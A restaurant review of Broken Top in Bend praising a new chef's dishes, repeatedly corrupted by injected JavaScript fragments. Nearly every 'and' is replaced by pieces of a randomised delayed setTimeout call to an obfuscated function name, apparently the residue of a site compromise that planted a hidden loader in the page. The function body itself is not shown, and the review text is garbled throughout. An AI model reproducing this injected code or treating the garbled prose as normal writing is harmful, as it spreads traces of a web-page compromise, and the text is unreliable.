Broken Top’s New Top Chef

by LINDEN GROSS, Author, Writing Coach & Publisher

Local residents probably are aware that Broken Top may well be Bend’s most striking restaurant—from its soaring interior defined by open beams andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and expansive windows to its water andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and mountain view. However now that the restaurant is once again open to the public, a new chef has enhanced the dining experience far beyond the esthetics andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and what I shared there with two dining companions can only be described as nearly flawless.

After popping a bottle of champagne at the bar, we were feeling positively festive. Once seated at our table, we smeared slices of fresh bread with freshly roasted garlic, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and then dipped each bite in homemade garlic oil before digging into our appetizers.

The Crab Mosaic was as fresh as it was beautiful, with its layers of avocado, arugula andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and mango supporting rather than upstaging the Dungeness crab.

The Shrimp Sofrito made us all feel like we’d been transported to a palapa on Isla Mujeres. The shrimp were sweet andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and tender with a slightly charred, smoky taste. The yummy black bean cake andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and friend plantain chip amplified the sense of Caribbean beach grill authenticity.

We switched gears with the salad, opting for the Iceberg Wedge. The rich, creamy blue cheese dressing contrasted brilliantly with the watery crunch of the Iceberg lettuce, while salty apple wood-smoked bacon played with the sweetness of the dried cranberries andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and golden raisins.

Then came the entrées andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and oh my! The Kataifi-crusted scallops showcased another study in contrasts. Citrus flavors from micro arugula tossed in lemon oil offset the creamy beurre blanc sauce, which also featured leeks, potatoes andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and corn. And the crunchy, web-like Kataifi—a style of phyllo pastry that looks like shredded wheat—made the scallops’ silky texture seem even more so.

The filet mignon was everything a great piece of meat should be—seared on the outside andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and juicy andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and full of flavor inside. Thinking back to that steak andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and knowing that the kitchen only buys natural beef from Madras, I’m tempted to take a drive andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and stock my freezer. Side dishes of cipollini onion jam, fingerling potatoes andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and a shitake mushroom flan that I’d pay money to be able to replicate took a delicious steak to new heights.

Finally, there was the marlin special with crab, shrimp andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and a mousse of Boursin—a soft, herbed French cheese andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and a chef favorite if the menu is any indication—served with a tomato, basil andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Asiago risotto. Divine.

At this point I feel like I should apologize for the superlatives. Could a dinner really be this good? It could. “To cook properly one must love andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and respect food. It is with this approach that I prepare food each andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and every time,” says executive chef Bill Ballard, who started at Broken Top in December 2010. “This menu is a culinary journey through my life.”

Life has been apparently been sweet. At least that’s the tale the superb desserts tell. Consider the evidence: Homemade banana toffee ice cream crowned with hazelnut praline, perched on banana brulée andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and served with caramel sauce. A zesty lemon tartlet adorned with French cream andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and fresh berries. Intriguing Forbidden Sticky Rice (think exotic rice pudding) served with coconut almond ice cream, mandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andarin oranges, fried wontons andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and grilled pineapple. And my all time favorite, the Triple Chocolate Torte, with chocolate mousse as good as my mother’s (andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and she learned in Paris).

In short, the prettiest setting in Bend now boasts some of the town’s best food andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and service. There’s just nothing wrong with this picture.

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